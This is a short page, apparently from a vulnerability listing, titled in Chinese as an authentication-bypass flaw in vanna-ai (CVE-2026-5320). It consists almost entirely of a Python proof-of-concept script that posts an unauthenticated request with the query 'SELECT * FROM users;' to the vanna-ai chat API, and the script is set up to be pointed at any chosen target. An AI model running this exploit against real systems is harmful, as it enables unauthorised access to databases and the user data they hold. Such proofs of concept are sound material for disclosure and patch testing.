CVE-2026-5320 vanna-ai认证绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-5320: Authentication Bypass in vanna-ai """ # The vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/api/vanna/v2/" # Example payload to send to the chat API payload = { "question": "SELECT * FROM users;" } try: # Sending request without authentication headers response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Authentication bypassed.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:5000" # Replace with actual target check_vulnerability(target)